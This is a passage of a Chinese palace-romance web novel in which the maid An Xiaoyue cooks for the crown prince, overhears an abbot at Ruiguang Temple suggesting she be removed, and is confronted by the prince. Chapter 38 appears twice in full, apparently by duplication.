似乎是因为等不到回答又发了火,安小月嘴巴张开,一个字还没说出来,人竟直直地倒了下去。 萧衍瞳孔震了震,下意识往前跨了一步,伸出胳膊想要接住,就听到身后传来丫鬟的惊呼。 “王嬷嬷,姑娘又晕了!” 王嬷嬷顾不上避嫌了,赶紧带着府医进了屋子,萧衍板着脸退到了旁边。 “又是什么意思?” 青莲愣了会儿才发现殿下是在跟她说话。 想了想,老老实实道,“回殿下的话,姑娘从外面回来后就病倒了,奴婢熬药回来她就晕了两次,这已经是第三次了。” 萧衍脸色又黑了几分,不悦地瞥了眼一旁的苏德。 后者接收到殿下的眼神,又不知道自己哪里犯了错,讨好的笑了笑。 萧衍更烦躁了,直接抬腿踹了他一脚。 苏德挨了打顺势倒了下去,又腆着老脸爬了起来,气的萧衍不再看他。 府医给安小月扎了针,又塞了一粒药丸,她苍白的脸色总算好看了些,但是人还没醒。 府医收了东西到太子身边回话,“回殿下,这位姑娘还是老毛病,惊惧过甚才引得旧疾发作,本是小风寒,反复几次也成了大病,若是再不精心养着,只怕会留下病根。” 萧衍拧眉,“孤不是说药方得一剂见效,为何会反反复复?” “这……”府医表情不自在,含糊道,“或许是药方不适合,臣重新开个方子便是。” 看着太子的黑脸,以为自己差点要丢了小命的府医被王嬷嬷带着出了屋子,青莲被拉着熬药去了,苏德想了想,也悄无声息地退了出去。 房门一关,屋里又剩下他们两个,就连房顶的暗卫也自觉闭了眼。 萧衍慢慢踱步站到床边,眼神幽深复杂,良久无声叹了口气,这才走了。 房门再次被关上,安小月微不可察的往下缩了缩,沉沉睡了。 经过这么一闹,再没有人打扰她养病了,安小月这场病断断续续过了三四天才稳下来。 日日喝着汤药,喝的她身上都快浸了药味,府医又来了一次,这才彻底停了药。 她虽然没出屋子,但外面的消息一条都没落下,都是青莲从外面打听了回来学给她听。 譬如太子殿下在她晕了第二日就进了宫,不知道做了什么,反正传出来皇后娘娘发了很大的火。 又过了一日,六皇子不知道因何原因被圣上狠狠骂了一顿,差点受罚,也不知跟这件事有无关系,反正安小月听了是挺开心的。 青莲把洗好的衣裳收了回来,问道,“姑娘病好了还要去殿下身边伺候吗?我听说这两日殿下又不肯吃饭了,只怕苏公公会来找姑娘呢。” 安小月凝眉沉思,若是真的过来找她,这倒也是个重新回到狗太子身边的机会。 她已经很确定狗太子开始动摇了,至少会因为她自请离府动怒,若是再加把劲,拿下也不是难事。 她垂眸轻声道,“我本就是进府伺候殿下的人,能替殿下分忧是我该做的事。” 青莲连连点头,把东西放好就出去了。 安小月又坐了一会儿才换了身衣裳,四天以来第一次出了屋子,被刺眼的太阳晃了晃眼睛,差点没站稳。 刚拐进院子的苏德却被吓了一跳,还以为她病还没好,差点叫出声。 好在安小月晃了一下就稳住了,还率先发现了他。 “苏公公来了?是来找我的吗?” 苏德笑眯眯的上前,先是关心了一番才说起正题。 “安姑娘若是身体养好了,是不是该回去伺候殿下了?殿下想你做的那口饭想得紧呢。” 安小月心中一动,笑道,“苏公公太看得起奴婢了,殿下只是吃惯了宫里的食物觉得奴婢做得稀奇罢了,若是殿下吃得惯,奴婢愿意替殿下再做一顿。” “哎呦那个太好了,也别明日了,就今天吧,咱们这就去小厨房。” 苏德担忧太子不吃饭会饿伤身子,二话不说就拉着安小月往小厨房走。 幸好她的病是真的好了,不然还不一定能跟得上。 第38章 祈福 小厨房早已经听说了安小月的“丰功伟绩”,态度比之前要更温和,尤其她还是被苏公公带着来的,几乎是她让干什么就干什么。 有了这些人的配合,这顿饭做得很是容易。 她从苏德的只言片语中提取出太子这两日的饮食变化,做的饭菜都偏咸口,有几样还是酸的,争取能有点用。 萧衍这几日总觉得身上憋屈,和人刚从校场练完回来,冲了个冷水澡,火气才压下去了一些。 苏德低着脑袋,“殿下可要传膳?” 萧衍不耐烦地扔了扇子,捡起青玉瓷盏里的桃子咬了一口,不是应季的桃子并不好吃,他越吃越有气。 “吃吃吃,成天都是那几样,还不如孤随便在路边摊子上买的好吃。” 他扔了桃核,似乎是说起路边摊子又有了兴致,起来就往门口走,苏德急忙把人拦住。 “殿下好歹尝尝,今天的与往常都不一样,一定会让殿下心满意足的!” 萧衍抬脚想要把他踹开,又见苏德脸上神神秘秘的,顿了顿,把脚放了下去。 他不知想到了什么,慢悠悠的勾起唇角。 “你这老小子又做了什么事讨孤欢心?既然你执意邀请,孤就赏你这个脸,传膳吧,孤就在屋里吃。” “喏,奴才这就去。” 苏德迈着小碎步摇头晃脑的出去了,甚至比萧衍这个要吃饭的人还要高兴。 没一会儿各式各样的菜品被端了进来,先进来的都是往日常吃的那些,萧衍嘴角的笑意一点一点淡了下去。 可是下一瞬,几样简单又不失精致的菜被放在离他最近的地方。 苏德那张菊花似的脸又凑了过去,“殿下,安姑娘身子刚好就急着回来伺候殿下,这几道小菜都是她亲手做的,殿下尝尝?” 萧衍挑了挑眉,“她急着回来伺候孤?你确定你没有谎报军情?” “奴才哪敢啊,安姑娘就在殿外候着呢,殿下可要叫她进来回话?” 萧衍随手指了下眼前的菜,有小太监先试了毒,苏德才给他夹了一块。 萧衍慢条斯理地嚼着,又让苏德连着夹了两次,才松口说让她进来。 小太监出去传话,安小月低着头缓慢地进了屋子,自觉跪下口头请安。 “奴婢给殿下请安。” 萧衍懒懒地瞥了她一眼,“确定好全了?可别传染给孤,孤身子弱,见不得晦气东西。” 安小月听出来他是在回击自己自请出府那天说的话,不禁有些脸红。 “回殿下,府医已经来瞧过了,奴婢真的好全了。” 萧衍嗤了一声,示意苏德停下,“过来给孤布菜,这既是你做的,应当没人比你更了解这些菜了。” 安小月接替了苏德的位置,他指了哪道菜先让小太监试了,才夹给他。 相比于第一次干这活时的茫然,她已经很从容了。 萧衍都不由得侧目而视,见她抬头看了过来,又不紧不慢的把目光移开。 安小月主动开口,“天气越来越热,殿下偶有胃口不畅也是正常,奴婢在这些菜里都加了梅浆,最是开胃,殿下吃了若是觉得好,奴婢把这些方子交给小厨房的嬷嬷便是。” “哼,雕虫小技,难道宫里出来有经验的师傅都没你有本事?” 萧衍就见不得这女人翘起尾巴,这种身份有几分小聪明并不见得是好事。 但她显然并不知道这个道理。 安小月嘴角微微勾起,“奴婢只有这双手能做出让殿下满意的饭菜,一时间有些自得失了态,还请殿下开恩,饶了奴婢这回吧。” 萧衍突然皱眉,下意识朝她看了过来,却对上她看似平静无波,实则藏着细碎星光的杏眸,不由得一顿。 他扭头别开,“布菜,孤要吃那个。” 话题被轻飘飘的掀过,一直到吃完饭,萧衍都没有再开口说话,苏德让人撤了菜,他没动过的那些自然是赏了底下的人。 安小月因为伺候得好,被赏的是最多的,也是最贵重的那几道菜。 她拿回去和青莲王嬷嬷分着吃,还留了些分给院里的小太监,几个人合着才吃完。 王嬷嬷吃饱之后看着她唏嘘不已。 “我暗中瞧着殿下是对你起了心思的,只是殿下这种身份的人,自然不会在男女之事上太过留情,你是个聪明的,知道该怎么做对自己最好,我就不多说了。” 安小月不知道这是试探还是真心的感慨,笑了笑,话锋一转道,“我听说每年的这两日殿下都会去瑞光寺为先皇后祈福,今年怎么推迟了?” “说是圣上有意让几位皇子都去瑞光寺祈福,先皇后去了几年了,是该做场大法事了。” “那皇后娘娘也乐意?”安小月悄声问。 她还记得隔墙有耳,但又抵不过八卦之心。 王嬷嬷神色莫名有些冷,哼道,“先皇后也是正儿八经的皇后,她不乐意算什么,这是圣上的旨意,谁若是不满,自可去问圣上。” 青莲在一旁吐舌头,“嬷嬷,你还说我什么话都敢说,自己还说这种话。” 王嬷嬷捂着头哎呦了一声,“我可能是吃了酒头有些晕,不跟你们说话了,青莲,你把东西收拾收拾,尽早歇了吧。” 两人看着王嬷嬷醉醺醺的回了自己屋子,对视一眼,齐刷刷笑出了声。 安小月还在想怎么能跟着狗太子去瑞光寺,没想到机会来的这么快。 第二日她就听说圣上下令让所有皇子公主同去瑞光寺给先皇后祈福,听说还要在那里住上几日。 接着王嬷嬷就回来收拾东西,还让她也收拾几件素净的衣裳,她们作为随行的宫女,今日就要跟着太子殿下先去瑞光寺。 安小月急忙收拾东西,刚收拾好,王嬷嬷就喊她说要出门了。 五方龙旗开路,骑兵步兵打头阵,又有记里鼓车记录随行事宜,仪仗队拉出去很远,安小月很幸运坐着一顶小素轿子,跟在队伍最后。 她贪婪地看了眼相府的方向,听说这次城中贵女也会参加,若是王氏能带娘来就好了。 就算不能救走娘,至少能解相思之苦。 王嬷嬷提醒她不要太过好奇,安小月这才恋恋不舍地放下帘子,老老实实地坐好。 第38章 祈福 小厨房早已经听说了安小月的“丰功伟绩”,态度比之前要更温和,尤其她还是被苏公公带着来的,几乎是她让干什么就干什么。 有了这些人的配合,这顿饭做得很是容易。 她从苏德的只言片语中提取出太子这两日的饮食变化,做的饭菜都偏咸口,有几样还是酸的,争取能有点用。 萧衍这几日总觉得身上憋屈,和人刚从校场练完回来,冲了个冷水澡,火气才压下去了一些。 苏德低着脑袋,“殿下可要传膳?” 萧衍不耐烦地扔了扇子,捡起青玉瓷盏里的桃子咬了一口,不是应季的桃子并不好吃,他越吃越有气。 “吃吃吃,成天都是那几样,还不如孤随便在路边摊子上买的好吃。” 他扔了桃核,似乎是说起路边摊子又有了兴致,起来就往门口走,苏德急忙把人拦住。 “殿下好歹尝尝,今天的与往常都不一样,一定会让殿下心满意足的!” 萧衍抬脚想要把他踹开,又见苏德脸上神神秘秘的,顿了顿,把脚放了下去。 他不知想到了什么,慢悠悠的勾起唇角。 “你这老小子又做了什么事讨孤欢心?既然你执意邀请,孤就赏你这个脸,传膳吧,孤就在屋里吃。” “喏,奴才这就去。” 苏德迈着小碎步摇头晃脑的出去了,甚至比萧衍这个要吃饭的人还要高兴。 没一会儿各式各样的菜品被端了进来,先进来的都是往日常吃的那些,萧衍嘴角的笑意一点一点淡了下去。 可是下一瞬,几样简单又不失精致的菜被放在离他最近的地方。 苏德那张菊花似的脸又凑了过去,“殿下,安姑娘身子刚好就急着回来伺候殿下,这几道小菜都是她亲手做的,殿下尝尝?” 萧衍挑了挑眉,“她急着回来伺候孤?你确定你没有谎报军情?” “奴才哪敢啊,安姑娘就在殿外候着呢,殿下可要叫她进来回话?” 萧衍随手指了下眼前的菜,有小太监先试了毒,苏德才给他夹了一块。 萧衍慢条斯理地嚼着,又让苏德连着夹了两次,才松口说让她进来。 小太监出去传话,安小月低着头缓慢地进了屋子,自觉跪下口头请安。 “奴婢给殿下请安。” 萧衍懒懒地瞥了她一眼,“确定好全了?可别传染给孤,孤身子弱,见不得晦气东西。” 安小月听出来他是在回击自己自请出府那天说的话,不禁有些脸红。 “回殿下,府医已经来瞧过了,奴婢真的好全了。” 萧衍嗤了一声,示意苏德停下,“过来给孤布菜,这既是你做的,应当没人比你更了解这些菜了。” 安小月接替了苏德的位置,他指了哪道菜先让小太监试了,才夹给他。 相比于第一次干这活时的茫然,她已经很从容了。 萧衍都不由得侧目而视,见她抬头看了过来,又不紧不慢的把目光移开。 安小月主动开口,“天气越来越热,殿下偶有胃口不畅也是正常,奴婢在这些菜里都加了梅浆,最是开胃,殿下吃了若是觉得好,奴婢把这些方子交给小厨房的嬷嬷便是。” “哼,雕虫小技,难道宫里出来有经验的师傅都没你有本事?” 萧衍就见不得这女人翘起尾巴,这种身份有几分小聪明并不见得是好事。 但她显然并不知道这个道理。 安小月嘴角微微勾起,“奴婢只有这双手能做出让殿下满意的饭菜,一时间有些自得失了态,还请殿下开恩,饶了奴婢这回吧。” 萧衍突然皱眉,下意识朝她看了过来,却对上她看似平静无波,实则藏着细碎星光的杏眸,不由得一顿。 他扭头别开,“布菜,孤要吃那个。” 话题被轻飘飘的掀过,一直到吃完饭,萧衍都没有再开口说话,苏德让人撤了菜,他没动过的那些自然是赏了底下的人。 安小月因为伺候得好,被赏的是最多的,也是最贵重的那几道菜。 她拿回去和青莲王嬷嬷分着吃,还留了些分给院里的小太监,几个人合着才吃完。 王嬷嬷吃饱之后看着她唏嘘不已。 “我暗中瞧着殿下是对你起了心思的,只是殿下这种身份的人,自然不会在男女之事上太过留情,你是个聪明的,知道该怎么做对自己最好,我就不多说了。” 安小月不知道这是试探还是真心的感慨,笑了笑,话锋一转道,“我听说每年的这两日殿下都会去瑞光寺为先皇后祈福,今年怎么推迟了?” “说是圣上有意让几位皇子都去瑞光寺祈福,先皇后去了几年了,是该做场大法事了。” “那皇后娘娘也乐意?”安小月悄声问。 她还记得隔墙有耳,但又抵不过八卦之心。 王嬷嬷神色莫名有些冷,哼道,“先皇后也是正儿八经的皇后,她不乐意算什么,这是圣上的旨意,谁若是不满,自可去问圣上。” 青莲在一旁吐舌头,“嬷嬷,你还说我什么话都敢说,自己还说这种话。” 王嬷嬷捂着头哎呦了一声,“我可能是吃了酒头有些晕,不跟你们说话了,青莲,你把东西收拾收拾,尽早歇了吧。” 两人看着王嬷嬷醉醺醺的回了自己屋子,对视一眼,齐刷刷笑出了声。 安小月还在想怎么能跟着狗太子去瑞光寺,没想到机会来的这么快。 第二日她就听说圣上下令让所有皇子公主同去瑞光寺给先皇后祈福,听说还要在那里住上几日。 接着王嬷嬷就回来收拾东西,还让她也收拾几件素净的衣裳,她们作为随行的宫女,今日就要跟着太子殿下先去瑞光寺。 安小月急忙收拾东西,刚收拾好,王嬷嬷就喊她说要出门了。 五方龙旗开路,骑兵步兵打头阵,又有记里鼓车记录随行事宜,仪仗队拉出去很远,安小月很幸运坐着一顶小素轿子,跟在队伍最后。 她贪婪地看了眼相府的方向,听说这次城中贵女也会参加,若是王氏能带娘来就好了。 就算不能救走娘,至少能解相思之苦。 王嬷嬷提醒她不要太过好奇,安小月这才恋恋不舍地放下帘子,老老实实地坐好。 第39章 近水楼台先得月 瑞光寺是历代皇家祭祀圣地。 黄琉璃瓦在阳光下金光熠熠,殿宇梁枋雕刻龙凤祥云图腾,寺庙周围古柏森森,有棵巨大银杏树历经千年仍枝繁叶茂,枝干虬劲。 安小月她们到时不过清晨,朝阳刚升出地平。 瑞光寺的晨钟回荡山谷,大殿内香炉上青烟袅袅,愈显神秘庄重。 无论是金瓦红墙,亦或是御赐宝物的厚重,都让安小月心生敬畏,若不是狗太子,她这辈子可能都进不到这种地方。 作为储君,萧衍自然入住在距离寺庙中心最近的独立行宫。 正房就有五个大开间,侍卫住在别院的东侧,随从住西侧,本来要跟着王嬷嬷进西厢房的安小月却被拦住了。 苏德笑眯眯的,招手示意安小月过来。 “安姑娘身份尊贵,就不要和那些伺候的嬷嬷丫鬟挤一个屋子了,在瑞光寺的这几天你住这儿就好。” 他领着安小月进了正房的一个小偏厅,说是这里最小的一个屋子,却比在太子府住的那个都要大。 苏德站在门口左看右看,“安姑娘看看还有什么不满意的地方?你尽管说。” 安小月心生警惕。 她身份尊贵? 前几天还口口声声说她是贱婢,这会儿又改了口,若不是别有私心,黄鼠狼都要给鸡拜年。 安小月没有把包袱放下,直接问,“安公公有事直说便好,我若是能做到自不会推脱。” 苏德意外她如此直接,又有些欣慰满意。 “那我就直说了,安姑娘也知道这次主要是给先皇后祈福,每年的这几日殿下心情差得厉害,只怕会更茶饭不思。” 安小月心头微动接了话,“苏公公是想让我住的近一点好照顾殿下?” “正是这个理。”苏德看了看左右没人,无奈叹了口气。 “你我都是伺候殿下的人,只有殿下好了咱们才能好,安姑娘若是想长久的留在太子府,咱们更得互帮互助才是。” 软硬并济,这是非得她答应不可了。 安小月很清楚苏德在狗太子身边的份量,没推脱,只轻轻一笑就答应下来。 “苏公公放心,奴婢知道该怎么做。” 近水楼台先得月,他的小心思倒是便宜了她。 “那安姑娘稍作歇歇,一会儿殿下上完香回来,说不定就得忙起来了。” 苏德目的达成,美滋滋地离开了偏厅。 安小月关上门嘴角的笑才扬了起来。 整个别院最安全的地方就数狗太子的院子,住在这里最起码不用担心性命会有威胁。 至于其他的不用过早担心。 她找来木盆和帕子,简单的在屋里擦了擦,先把床铺好。 包袱没有拆,万一狗太子回来不想让她住在这里,走的时候也不麻烦。 弄完这些她就出了屋子,苏德已经带着小太监把太子要住的寝殿又收拾了一遍。 大殿内的香炉里点着苏合香,香气浓郁独特,闻起来一片清凉。 安小月默默记住苏德格外关注的几个地方,正想着要不要搭把手,王嬷嬷在院里就喊了她。 “嬷嬷找我有事?” 王嬷嬷把一个珐琅紫檀提盒递过来。 “这里装的是殿下亲自为先皇后抄写的经书,是要拿到正殿前供奉的,你帮我走一趟,把这交给殿下的侍卫赵忠就行。” 人生地不熟,安小月不想独自过去,面上有些犹豫。 王嬷嬷恨铁不成钢地戳了戳她的额头,压低声音,“是我看错你了?你若真想如愿以偿,那更要抓住这次机会。” 安小月心里一惊,生怕被她看出自己并非真心爱慕太子,眼神慌乱的避开。 可落到王嬷嬷眼里就成了羞涩紧张。 王嬷嬷得意自己的火眼金睛,强硬的把提盒塞进她手里。 “殿下现正在主殿礼佛,只叫了赵忠跟着,趁着宫里还没来人,这正是你的好机会。” “去吧。” 被王嬷嬷送到别院门口,安小月无奈地笑笑,拎着提盒往主殿方向走。 刚才来时她已经记住了方向位置,不用问人也能找到地方。 青石小径上的薄露尚未被晨光烤干,湿漉漉的走起来有些滑脚,安小月一手拎着裙摆,一手紧紧抓着提盒。 第三次差点滑倒时,她真心后悔自己接了这个差事。 可已经走了一半,若是回头她自己都不甘心,只能耐着性子慢慢地往前挪动。 穿过回廊,不远处有个穿着宽大僧袍的小沙弥正在扫地,他低着头,听到动静抬头扫了眼,又继续扫地。 安小月看了眼他身后不远处的正殿,轻声问道,“小师父,太子殿下可还在里面?” 小沙弥放下扫帚,双手合十,“女施主,殿下还在正殿礼佛,不过主持说不许任何人靠近,女施主请回吧。” “可是……”安小月把提盒抬起来,“这里装的是殿下亲手抄写的经书,要放在正殿前烧香供奉的,不如小师父帮我走一趟?” 正好不用自寻晦气。 小师父立即慌乱摆手,“不行不行,我若是帮了你,主持会骂我的。” 安小月也不想为难他,“那我悄悄过去,小师父就当没看见过我?” 见小沙弥脸上又有拒绝之意,她立即补充道,“要不然就得麻烦小师父了。” 两者相较取其轻,小沙弥犹豫了下,幅度极小地点了点头。 然后背过身专心扫地,就当没有看到旁边的人。 安小月暗道这小师父倒是好骗,轻手轻脚地穿过回廊,从侧边的口子往正殿走。 果然,侍卫首领赵忠挎着刀立在门前,时不时警惕地环顾四周。 安小月忍不住皱眉。 狗太子只不过是在里面礼佛而已,至于如此警惕防备吗? 不仅连心腹苏公公没带,赵忠还这般警惕…… 她起了疑心,却不敢表露出来,低着脑袋慢吞吞地走过去。 赵忠发现有人来了,右手立即抓住刀柄,似乎下一瞬就要抽出来砍人。 安小月急忙把提盒抬起来给他看。 “赵大哥,我是来给殿下送经书的,王嬷嬷说这是殿下亲手抄的,要放在佛前供奉才行。” 赵忠拧眉,将信将疑地收回手,打开提盒确认的确是殿下抄写的经书,不由得犯起了难。 “可是殿下有令,任何人不许进入大殿。” 第40章 偷听 安小月做出一脸茫然看他,“那如何是好?” 耽误了经书供奉,他们小命不保,没有允许擅闯大殿,还是小命不保。 赵忠还在犹豫,安小月却早就想好了对策。 她把提盒往地上一放,后退了一大步,“既然殿下有令,不如先把经书放在此处,若是殿下出来,劳烦赵大哥交给殿下,我就……” “不行。” 赵忠也往后退了一大步,冷硬的面庞上满是纠结,片刻后他侧身让开。 抱着刀干巴巴道,“经书非比寻常,若是安姑娘亲自送进去,说不定殿下不会动怒。” 四目相对,气氛骤然安静下来。 那精贵的紫檀提盒就这样被放在青石地砖上,里头还装着太子殿下亲手抄写的经书。 就算是如此大不敬的行为,两人却谁都没有把提盒再拿起来。 半晌,安小月动了,深深地看了眼赵忠,弯腰把提盒又拿到手上。 赵忠神色闪烁,似是有些心虚的避开眼。 这位的丰功伟绩传遍了太子府,有些禁令在她那里形同虚设,她进去总比自己进去挨板子强。 殿下一定舍不得打她,但放到他身上就不一定了。 安小月无奈叹了口气,罢了,本来就是自己的差事,何必让别人为难。 她正要推门进去,赵忠小声提醒道,“正殿的大门很大,会响,你不如从小门进。” 他似乎是随意指了个方向,然后一脸歉意地看着她。 安小月点了点头扭身就走。 若是从小门进,不一定会直直撞上狗太子,她可以藏起来暗中观察,若是情况不对不露面便是。 正殿的小门就在正门不远处,做的极为精巧严密,像个装了把手的窗户似的。 她小心翼翼地推开门,眼前像是个小隔间,中间有屏风挡着,不至于直接看到大殿里面。 里面却不明亮,厚重的朱漆大门隔绝室外的天色,只在青石地砖上投下几缕光线,殿内檀香浮动。 安小月被这肃穆沉重的气氛惊到,差点憋过气去。 本来还在犹豫把经书放在哪合适,看到屏风侧边的长条香桌,来了主意。 她踮起脚尖轻手轻脚,走到屏风后先探出个头,没有发现异常,才动作极轻的将提盒放下。 提盒和木桌碰撞发出的声响并不大,安小月松了口气,转身正要离开,就听到殿内传来一道低沉的嗓音。 “殿下今日念经,似乎比从前快了些。” 安小月鬼使神差的停下脚步,高高竖起耳朵。 萧衍没有立即出声,良久之后先叹了口气,“主持也发现了,孤的心,静不下来。” “是静不下来,还是不想静?” 主持反问了一句,等不到回答又问,“世间诸事皆有因果,断不会生来就是如此,殿下的困惑也并非无缘无故,但殿下可清楚自己为何静不下来?” 萧衍放下手上的佛珠,沉沉叹了口气。 “孤……不想知道。” 一旦知道就表明自己也认可了这个念头,之后就会像野火燎原那般,最后总要落得个引火烧身的下场。 还不如知道也装作不知,假以时日总会忘了。 主持似乎是看出他几乎破罐子破摔的想法,微微一笑,“殿下,每到秋日树叶总会落下,难道是它们想吗?” “缘分天定,命数使然,它们落下是到了该落下的时候,并非以你我的意志为结局。” 萧衍听了这话,思绪犹如脱缰的野马一发不可收拾。 从打定主意韬光养晦,他就安排好了每一步,在那个人没出现之前,一切都按照他预计的进行。 可自打那女人到了自己身边,发生变数的岂止一件。 对外宣称伤了那处对女子无感,却允许她留在身边。 本应该杀伐果断,隔绝外界对他的窥探,让那帮跳梁小丑抓心挠肝的着急。 可她来了,却让计划的进度止步不前。 明明是随时可能背叛他的叛徒,但他却因为她受伤受罚而心思波动, 她扰乱布局,拖慢进程,本应该快刀斩乱麻永绝后患,每到那个关头却又不忍心。 这实在不像他。 安小月久久听不到他的回应,还以为这场对话到此处就要结束了,还暗自觉得可惜。 刚迈出去一步,又听到主持开了口。 “儿女情长并非好事,殿下莫要忘了自己的责任。” “孤没忘。” “殿下勿怪,老衲只是随口提醒罢了,天命所归,殿下肩上担的不只是天下社稷,那女子……不该留下!” 安小月莫名心惊胆颤,总觉得这个主持口中的女子就是她。 不该留下她? 这主持是在暗示太子杀了她! 可是为什么? 她生平第一次来这个地方,连主持的面都没见过,他对她到底有什么愁什么怨,竟要致人于死地! 安小月心乱如麻,用力稳住心神。 或许她应该先离开这个地方再做打算,若是被狗太子发现她偷听,不用主持出手,她也会死。 侧门就在距她一臂之外的距离,只要她动作快,一定不会被人发现。 安小月屏住呼吸,颤巍巍地迈出一步。 可刚才进来时侧门并没有关紧,一阵邪风吹过,侧门被吹得晃了晃,发出极轻的“吱呀”一声。 “什么人!” 就是这个时候! 安小月抓住机会,用肩膀挤开门闪身出去,侧门往前十几步就是一棵硕大的灌木丛。 她来不及思考躲了进去,刚站稳,就听到急促的脚步声传来。 侧门似乎是被人拉开了。 “殿下?”赵忠不解的声音远远传了过来。 安小月瞬间脸色苍白,紧紧捂住嘴巴。 赵忠会出卖她吗? 不,或许不应该说出卖,他本就效忠于太子殿下,实话实说也是职责所在。 安小月以为自己逃不掉了,正打算主动站出去,就听到萧衍冷声询问,“刚才可是有人进来过?” “回殿下,属下一直在门口守着,并没有看见可疑之人。” 主持的声音也传了过来,“或许是风吹开了门,殿下莫要太过警惕了。” 萧衍目光幽幽扫过赵忠,眸色深暗。 “可能是孤近几日没有睡好有了错觉,主持,我们继续念经礼佛吧。” “吱呀”一声,侧门又被关上。 安静了许久之后,脚步声才缓缓走远。 安小月脱力一般的大喘气,深呼吸几口,从小路跑回了别院。 第41章 异常 王嬷嬷看安小月空着手跑回来,脸色却异常难看,有心想拦下她关心几句,却见她看到自己跑得更快了。 王嬷嬷疑惑皱眉,一旁的青莲随口猜道,“姑娘该不会是为了送经书进去,被殿下责骂了吧?” “不会吧,殿下应当不是那种不讲理的人……” 王嬷嬷说到最后自己都有些心虚。 若不是害怕被殿下责骂,她怎么会把这个差事交给安小月去做。 好在青莲心思没有那么多,并没有察觉出这其中的不对劲。 王嬷嬷自己理亏,低声说,“罢了,就当是我欠她一个人情吧,这事除了你我别再告诉其他人了,嬷嬷会补偿她的。” 青莲似懂非懂地点了点头。 安小月躲进屋子里,一直坐立难安,她总能听到外面传来甲胄相撞的声音,又有侍卫沉重的脚步声传来。 说不定是来抓她的! 可等了一个时辰,不仅没有侍卫过来抓她,就连苏公公和王嬷嬷都没有过来找她。 这件事似乎就这么轻飘飘的揭过了。 安小月不禁有些恍惚,难道狗太子真信了是风把门吹开的? 可放在长条箱桌上的提盒却是明晃晃的证据。 又或者是他暂时还没有顾得上处理这事,也可能是他甚至都没有发现那个提盒! 安小月猛地站了起来,这么说来,她应该趁着狗太子没发现把提盒偷回来。 这样就算赵忠良心发现决定告发自己,也没有证据。 对,就这么办! 安小月深吸了口气,拉开门急步往外走,还没走出院子却被从小厨房出来的苏德撞见了。 “安姑娘别急着走啊,我正要去找你呢!” 苏德扶着帽子跑了过来,气喘吁吁道,“寺庙里忌荤腥,殿下又吃不惯这些素斋,你有没有别的法子,最起码能让殿下不是看一眼就没胃口?” “我……”安小月今日不想做菜。 她就算是有法子也不想在今天往狗太子的枪口上撞。 有些想拒绝,还没开口就被苏德连哄带骗地拉到了小厨房。 “安姑娘,你就可怜可怜咱们吧,殿下吃不饱就会发脾气,发了脾气你我都受不住,明日宫里就要来人了,若是被其他人知道咱们伺候不周,那事情可就大了!” 安小月想到明日要来的几位皇子公主,其中只有一位皇子两个公主是在先皇后的照看下长到五六岁的。 剩余的全是在如今的皇后娘娘继位之后才出生的。 相比于先皇后,他们必定更亲近如今的皇后娘娘。 有这些人当眼线,比暗处那些眼线似乎更为让人头疼。 她无声叹了口气,越来越笃定自己是真的跟皇宫犯冲。 苏德又求饶,“安姑娘只要做顿饭,想要什么尽管开口,我一定想办法给你弄来!” 安小月状似开玩笑道,“我若是想让一个人消失,苏公公也能帮我?” 苏德瞬间变得警惕防备,浑身的气势立即变了。 安小月连忙挤出一个笑。 “我开玩笑的,我一个小奴婢能跟什么人有仇,只是看着公公满口答应,想逗公公开心罢了。” 苏德将信将疑,“安姑娘,这里可不比其他地方,我劝你还是小心思别太多,小心害了自己。” “我明白,苏公公,还是等我先做了菜再说吧。” 安小月怕他在怀疑自己,急忙撸起袖子往灶台边走。 娘说了,一旦有决定不了的事情就先放下做其他的事。 若是怀着心事做完的饭菜跟从前一个味道,那就说明这个决定是对的。 她安安静静地做菜,没有再起任何妖蛾子,慢慢地也让苏德放了心,出去忙其他的事情去了。 萧衍从正殿回来已经是半下午了。 做好的菜热了两次,终于被端上桌,安小月怕他发现自己心虚,做完菜就溜回了屋子,却时刻关注了隔了两间屋子里的动静。 那头,萧衍面无表情的坐在案前,看着小太监已经全部试了毒的素斋,眉心微微抽搐。 他扔了筷子,“这些饭菜是谁做的?” 苏德咧开笑脸上前,“回殿下,都是安姑娘一个人做的,她得知殿下吃不惯素斋,就自告奋勇想了这些主意,殿下放心,都是素菜,这安姑娘手可真巧。” 做的素斋跟肉菜竟有几分相似,先不说味道怎么样,看起来不至于那么倒胃口。 萧衍冷哼,目光在殿内扫了一圈。 “平时有事没事总喜欢往孤身边凑,今日这是怎么了,她的人呢?” 苏德找了一圈,确实没有看到安小月。 “安姑娘可能是回屋子洗漱更衣去了,怕自己一身油烟味熏到了殿下吧,奴才这就去叫她过来。” 萧衍没有阻止,垂着眼眸不知道在想什么。 而被小太监敲了门的安小月却像是惊弓之鸟,差点惊叫出声。 “安姑娘,殿下叫你过去回话。” “殿下……心情如何?” 她没理由拒绝小太监,一边跟着走一边小心询问。 小太监想了想,“应当不错,姑娘第一次来不知道,殿下以前来这里总要饿上几天才能吃到饭,这次多亏了姑娘,姑娘就等着领赏吧!” 安小月预感却不太妙。 等待她的真的是赏赐吗? 这里距离寝殿不远,没走多久就到了,苏德眼尖地看到门口的她,急忙招手让她进来。 安小月用力捏了捏手,低头进了殿内。 萧衍有一搭没一搭的捡菜往嘴里塞,却是一眼都没往她这里看,安小月不觉得庆幸,只觉得糟透了。 狗太子的情绪不对。 片刻,萧衍放了筷子,接过苏德递来的清口茶喝了一小半,不轻不重的把茶盏放在桌上。 可落进安小月耳中就像是雷霆之怒。 她情不自禁地抖了抖肩膀,就听到狗太子冷哼一声。 “你特意给孤做了如此可口的饭菜,孤应当要赏你,但你看起来好像很害怕孤?” 安小月急忙跪下去,“殿下,奴婢绝无此意,奴婢只是有些……着凉了,身上冷。” 萧衍幽幽道,“当真?孤带了太医,不如先帮你瞧瞧?” 安小月头垂得更低了。 “奴婢贱体低微,不值得劳烦太医大人。” “也罢,不叫太医来,孤帮你治治,如何?” 第42章 最后通牒 萧衍声音带着莫名意味的冷厉,直接让众人噤了声,尤其是心虚的安小月,挺直的脊梁一下就塌了。 这时,沉重而有节奏的暮鼓声自远处传来,活像安小月此刻的心跳,紧了又慢,慢了又紧。 迟迟等不到下文的她仿佛被架在火上烤,再晚一点,恐怕自己就先忍不住了。 安小月悄悄抬头,飞快地扫了一眼,下一瞬又慌乱地趴了回去。 狗太子居然盯着她看! 刚才抬头的那一眼被看了个正着,真真是自投罗网。 萧衍哼了声,火气冲天,不耐烦地屏退众人。 “都出去。” 苏德急忙挥退众人,自己走在最后,还识趣的把门带上,这下彻底安静下来。 安小月几乎能听到自己愈发快速的心跳声。 脚步声不急不徐地朝她这边过来,眼前又是一抹熟悉的杏黄。 “你倒是有本事,竟然能哄的赵忠和扫地的小沙弥都主动替你隐瞒,孤真是小看了你。” 